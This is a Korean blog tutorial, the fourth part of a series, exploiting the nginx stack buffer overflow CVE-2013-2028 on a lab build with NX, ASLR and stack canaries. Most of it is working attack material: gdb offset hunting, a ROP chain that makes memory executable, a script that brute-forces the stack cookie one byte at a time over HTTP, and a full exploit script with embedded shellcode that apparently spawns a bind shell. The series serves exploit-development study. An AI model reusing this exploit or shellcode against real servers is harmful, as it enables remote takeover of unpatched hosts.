#dokydoky
[CVE-2013-2028] Nginx stack-based buffer overflow(4) - NX, ASLR, Canary 본문
[CVE-2013-2028] Nginx stack-based buffer overflow(4) - NX, ASLR, Canary
dokydoky 2016. 12. 27. 01:450x01. Intro
안녕하세요. dokydoky 입니다.
이전 포스팅에서는 NX+ASLR 환경에서 익스플로잇을 해봤습니다.
이번 포스팅에서는 Stack Canaray를 추가하여 익스플로잇 해보겠습니다.
이번엔 nginx2 바이너리로 진행합니다. nginx1은 Stack Canary가 적용되어 있지 않고, nginx2는 적용되어 있습니다.
Stack Canary란 RET, SFP(Stack Frame pointer)가 변조되는 것을 감지하기 위해, SFP앞에 stack cookie를 저장해놓는 기법입니다.
컴파일 옵션은 이곳을 참조하시기 바랍니다.
이하 존칭어를 생략합니다.
0x02. Exploit
checksec으로 확인해보면 nginx2에 Stack Canary가 추가적으로 적용된 것을 확인 할 수 있다.
우선, 바이너리가 달라졌으므로 먼저 offset과 ROP gadget을 다시 구하자.
Offset 확인
ngx_http_read_discarded_request_body 함수를 디스어셈블 해보면 전과 다르게 Stack Cookie를 저장(mov %fs:0x28,%rax), 확인(xor %fs:0x28,%rsi)하는
코드가 추가되었다. 아래와 같이 Stack Cookie와 RET 주소의 offset을 모두 구해보자.
vagrant@nginx:/vagrant/bin$ sudo gdb /vagrant/bin/nginx2
...
(gdb) set follow-fork-mode child
(gdb) disas ngx_http_read_discarded_request_body
Dump of assembler code for function ngx_http_read_discarded_request_body:
0x00000000004318d0 <+0>: push %r12
0x00000000004318d2 <+2>: push %rbp
0x00000000004318d3 <+3>: push %rbx
0x00000000004318d4 <+4>: sub $0x1060,%rsp
0x00000000004318db <+11>: mov %rdi,%rbx
0x00000000004318de <+14>: mov %fs:0x28,%rax // rax = Stack Cookie
0x00000000004318e7 <+23>: mov %rax,0x1058(%rsp)
...
0x00000000004319a9 <+217>: xor %fs:0x28,%rsi // rsi = Stack Cookie
0x00000000004319b2 <+226>: je 0x4319b9 <ngx_http_read_discarded_request_body+233>
0x00000000004319b4 <+228>: callq 0x4023a0 <__stack_chk_fail@plt>
0x00000000004319b9 <+233>: add $0x1060,%rsp
0x00000000004319c0 <+240>: pop %rbx
0x00000000004319c1 <+241>: pop %rbp
0x00000000004319c2 <+242>: pop %r12
0x00000000004319c4 <+244>: retq
(gdb) b *0x00000000004319a9
Breakpoint 1 at 0x4319a9: file src/http/ngx_http_request_body.c, line 676.
(gdb) r
Starting program: /vagrant/bin/nginx2
...
Breakpoint 1, 0x00000000004319a9 in ngx_http_read_discarded_request_body (r=0x6a3bb0)
at src/http/ngx_http_request_body.c:676
676 src/http/ngx_http_request_body.c: No such file or directory.
(gdb) x/i $rip
=> 0x4319a9 <ngx_http_read_discarded_request_body+217>: xor %fs:0x28,%rsi
(gdb) info reg rsi
rsi 0x6d47326d47316d47 7874317918407847239
(gdb) ni
[tcsetpgrp failed in terminal_inferior: No such process]
0x00000000004319b2 676 in src/http/ngx_http_request_body.c
(gdb) info reg $ps
ps 0x206 [ PF IF ]
(gdb) set $ps=$ps|0x40 // Set Zero Flag(ZF)
(gdb) info reg $ps
ps 0x246 [ PF ZF IF ]
(gdb) b *0x00000000004319c4
Breakpoint 2 at 0x4319c4: file src/http/ngx_http_request_body.c, line 676.
(gdb) c
Continuing.
Breakpoint 2, 0x00000000004319c4 in ngx_http_read_discarded_request_body (r=<optimized out>)
at src/http/ngx_http_request_body.c:676
676 in src/http/ngx_http_request_body.c
(gdb) x/i $rip
=> 0x4319c4 <ngx_http_read_discarded_request_body+244>: retq
(gdb) x/gx $rsp
0x7fffffffdd38: 0x47336e47326e4731
Stack Cookie에는 0x6d47326d47316d47, RET 주소에는 0x47336e47326e4731 값이 있다.
해당 값으로 offset을 확인해보자.
$ ipython
...
In [13]: "6d47326d47316d47".decode('hex')[::-1]
Out[13]: 'Gm1Gm2Gm'
In [14]: "47336e47326e4731".decode('hex')[::-1]
Out[14]: '1Gn2Gn3G'
$ python pattern.py "Gm1Gm2Gm"
Pattern Gm1Gm2Gm first occurrence at position 5043 in pattern.
$ python pattern.py "1Gn2Gn3G"
Pattern 1Gn2Gn3G first occurrence at position 5075 in pattern.
| ...... | 5043 bytes | Stack Cookie(8 bytes) | 24 bytes | RET | ...... | 의 구조를 갖고 있음을 알 수 있다.
ROP Gadget
가젯은 이전 포스팅과 동일한 기능을 하는 가젯을 nginx2에서 다시 구성하였다.
mmap64 = 0x4026d0
mmapgot = 0x679288
mmapaddr = 0x410000
noUse = 0xFFFFFFFFFFFFFFFF
# System call table of 'sys_mprotect'
# %rdi = unsigned long start = mmapaddr
# %rsi = size_t len = 0x1000
# %rdx = unsigned long prot = 7
chain = [
0x004136a6, # pop rax ; add rsp, 0x08 ; ret
0x60, # an offset between mmap64, mprotect
noUse,
0x0044b277, # pop rdi ; ret
mmapgot,
0x0045bb54, # add byte [rdi], al ; mov eax, 0x00000000 ; ret
0x004136a6, # pop rax ; add rsp, 0x08 ; ret
mmapgot, # For next Instruction "xor byte [rax-0x77], cl"
noUse,
0x0041aebe, # pop rdx ; xor byte [rax-0x77], cl ; ret
0x7,
0x00442f87, # pop rsi ; ret
0x1000,
0x0044e6a8, # pop rdi ; ret
mmapaddr,
mmap64
]
ropchain = ''.join(struct.pack('<Q', _) for _ in chain)
for i in range(0,len(shellcode),8):
code = shellcode[i:i+8]
chain = [
0x004136a6, # pop rax ; add rsp, 0x08 ; ret
mmapaddr+i, # dst
noUse,
0x00442f87, # pop rsi ; ret
struct.unpack('<Q', code)[0], # src : shellcode chunk(8byte)
0x00428eeb # mov qword [rax], rsi ; mov eax, 0x00000000 ; ret
]
ropchain += ''.join(struct.pack('<Q', _) for _ in chain)
ropchain += struct.pack('<Q', mmapaddr) # return to mmapaddr
Stack Canary
Canary를 우회하기 위해서는 1byte씩 brute force 하는 방식을 사용할 것이다.
nginx는 위와 같이 master, worker process가 존재하며, 실제 HTTP 요청은 worker에서 처리한다.
worker process는 아래 코드와 같이 master process에서 fork로 생성되므로,
master process가 종료되지 않는 한, worker process들은 Stack Cookie값이 동일하다.
ngx_pid_t
ngx_spawn_process(ngx_cycle_t *cycle, ngx_spawn_proc_pt proc, void *data,
char *name, ngx_int_t respawn)
{
...
pid = fork(); // fork
switch (pid) {
case -1:
ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno,
"fork() failed while spawning \"%s\"", name);
ngx_close_channel(ngx_processes[s].channel, cycle->log);
return NGX_INVALID_PID;
case 0:
ngx_pid = ngx_getpid();
proc(cycle, data);
break;
default:
break;
}
...
}
또한, Stack Cookie가 변조되면 ngx_http_read_discarded_request_body 내에서 __stack_chk_fail가 실행되어 프로세스가 종료되고 응답이 오지 않는 반면,
Stack Cookie값이 올바르면 HTTP Response를 받을 수 있다. 따라서 1바이트씩 brute force 하면서 Stack Cookie값을 알아 낼 수 있다.
8바이트의 Stack Cookie를 brute force 하는 코드는 아래와 같다.
ChunkSize = '8000000000000000'
dataBeforeCookie = "A"*5043
payload = '''GET / HTTP/1.1\r
Host: 127.0.0.1:8080\r
Transfer-Encoding: chunked\r\n\r
{} {}'''.format(ChunkSize, dataBeforeCookie)
HOST = '127.0.0.1'
PORT = 8080
def isCrash(l):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
c = ''.join(struct.pack('B', _) for _ in l)
#print "c is", "".join(['\\x{:02X}'.format(i) for i in cookie+[j]])
s.sendall(payload+c)
tmp = s.recv(500).strip()
s.close()
return (len(tmp) is 0)
def checkOneByte(cookie, j):
l = cookie+[j]
if not isCrash(l) and not isCrash(l) and not isCrash(l) and \
not isCrash(l) and not isCrash(l):
return True
return False
if __name__ == "__main__":
cookie = list()
for i in range(0, 8):
for j in range(0, 256):
if checkOneByte(cookie, j):
print "The {:d} byte is \\x{:02X}".format(i, j)
cookie.append(j)
break
print "stack cookie is", "".join(['\\x{:02X}'.format(i) for i in cookie])
checkOneByte 함수에서 크래쉬가 나지 않을 경우(응답이 오는 경우)에 동일하게 5번 확인하는데, 이는 잘못된 cookie 값을 전송해도 응답이 올 경우가 있기 때문이다.
0x03. Full Exploit code
nginx1_nx_aslr_canary_exploit.py
# -*- coding: utf-8 -*-
###########################################################################################
# CVE-2013-2028
# Environment : NX, ASLR, Canary
# Coded by dokydoky
# I used the ROP Gagdet of https://github.com/danghvu/nginx-1.4.0/blob/master/exp-nginx.rb
# I also refered to following article to bypass the Canary (Thanks!)
# http://www.vnsecurity.net/research/2013/05/21/analysis-of-nginx-cve-2013-2028.html
###########################################################################################
import socket
import struct
import sys
import time
from pwn import *
shellcode = (
'\x6A\x29\x58\x6A\x02\x5F\x6A\x01\x5E\x99\x0F\x05\x52\xBA\x01\x01' +
'\x01\x01\x81\xF2\x03\x01\x31\x38\x52\x6A\x10\x5A\x48\x89\xC5\x48' +
'\x89\xC7\x6A\x31\x58\x48\x89\xE6\x0F\x05\x6A\x32\x58\x48\x89\xEF' +
'\x6A\x01\x5E\x0F\x05\x6A\x2B\x58\x48\x89\xEF\x31\xF6\x99\x0F\x05' +
'\x48\x89\xC5\x6A\x03\x5E\x48\xFF\xCE\x78\x0B\x56\x6A\x21\x58\x48' +
'\x89\xEF\x0F\x05\xEB\xEF\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01' +
'\x01\x01\x31\xD2\x52\x6A\x08\x5A\x48\x01\xE2\x52\x48\x89\xE2\x6A' +
'\x68\x48\xB8\x2F\x62\x69\x6E\x2F\x2F\x2F\x73\x50\x6A\x3B\x58\x48' +
'\x89\xE7\x48\x89\xD6\x99\x0F\x05'
)
mmap64 = 0x4026d0
mmapgot = 0x679288
mmapaddr = 0x410000
noUse = 0xFFFFFFFFFFFFFFFF
# System call table of 'sys_mprotect'
# %rdi = unsigned long start = mmapaddr
# %rsi = size_t len = 0x1000
# %rdx = unsigned long prot = 7
chain = [
0x004136a6, # pop rax ; add rsp, 0x08 ; ret
0x60, # an offset between mmap64, mprotect
noUse,
0x0044b277, # pop rdi ; ret
mmapgot,
0x0045bb54, # add byte [rdi], al ; mov eax, 0x00000000 ; ret
0x004136a6, # pop rax ; add rsp, 0x08 ; ret
mmapgot, # For next Instruction "xor byte [rax-0x77], cl"
noUse,
0x0041aebe, # pop rdx ; xor byte [rax-0x77], cl ; ret
0x7,
0x00442f87, # pop rsi ; ret
0x1000,
0x0044e6a8, # pop rdi ; ret
mmapaddr,
mmap64
]
ropchain = ''.join(struct.pack('<Q', _) for _ in chain)
for i in range(0,len(shellcode),8):
code = shellcode[i:i+8]
chain = [
0x004136a6, # pop rax ; add rsp, 0x08 ; ret
mmapaddr+i, # dst
noUse,
0x00442f87, # pop rsi ; ret
struct.unpack('<Q', code)[0], # src : shellcode chunk(8byte)
0x00428eeb # mov qword [rax], rsi ; mov eax, 0x00000000 ; ret
]
ropchain += ''.join(struct.pack('<Q', _) for _ in chain)
ropchain += struct.pack('<Q', mmapaddr) # return to mmapaddr
ChunkSize = '8000000000000000'
dataBeforeCookie = "A"*5043
payload = '''GET / HTTP/1.1\r
Host: 127.0.0.1:8080\r
Transfer-Encoding: chunked\r\n\r
{} {}'''.format(ChunkSize, dataBeforeCookie)
HOST = '127.0.0.1'
PORT = 8080
def isCrash(l):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
c = ''.join(struct.pack('B', _) for _ in l)
s.sendall(payload+c)
tmp = s.recv(500).strip()
s.close()
return (len(tmp) is 0)
def checkOneByte(cookie, j):
l = cookie+[j]
if not isCrash(l) and not isCrash(l) and not isCrash(l) and \
not isCrash(l) and not isCrash(l):
return True
return False
if __name__ == "__main__":
if len(sys.argv) == 2:
cookie = sys.argv[1].decode('hex')
payload += cookie
payload += "A"*24
payload += ropchain
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
s.sendall(payload)
else:
cookie = list()
for i in range(0, 8):
for j in range(0, 256):
if checkOneByte(cookie, j):
print "============================================"
print "The {:d} byte is \\x{:02X}".format(i, j)
cookie.append(j)
break
if j is 255:
print "Brute Force Failed!! Try again"
sys.exit(1)
print "stack cookie is", "".join(['{:02X}'.format(i) for i in cookie])
Result
1~4편에 걸쳐 취약한 code 부터 NX, ASLR, Canary 우회방법까지 하나씩 알아봤습니다.
틀린 부분이 있으면 코멘트로 지적 부탁드립니다.
읽어주셔서 감사합니다.(__)
0x04. Reference
http://www.vnsecurity.net/research/2013/05/21/analysis-of-nginx-cve-2013-2028.html
https://github.com/danghvu/nginx-1.4.0/blob/master/exp-nginx.rb
https://github.com/kitctf/nginxpwn
'System Hacking' 카테고리의 다른 글
[Pwnerable.tw] Ghostparty(450pts) - source code audit & exploit (0) | 2017.05.24 |
---|---|
[Pwnerable.tw] Ghostparty(450pts) - reversing C++ string, vector (0) | 2017.05.24 |
[CVE-2013-2028] Nginx stack-based buffer overflow(3) - NX, ASLR (0) | 2016.12.26 |
[CVE-2013-2028] Nginx stack-based buffer overflow(2) - NX (0) | 2016.12.25 |
[CVE-2013-2028] Nginx stack-based buffer overflow(1) - source code (0) | 2016.12.25 |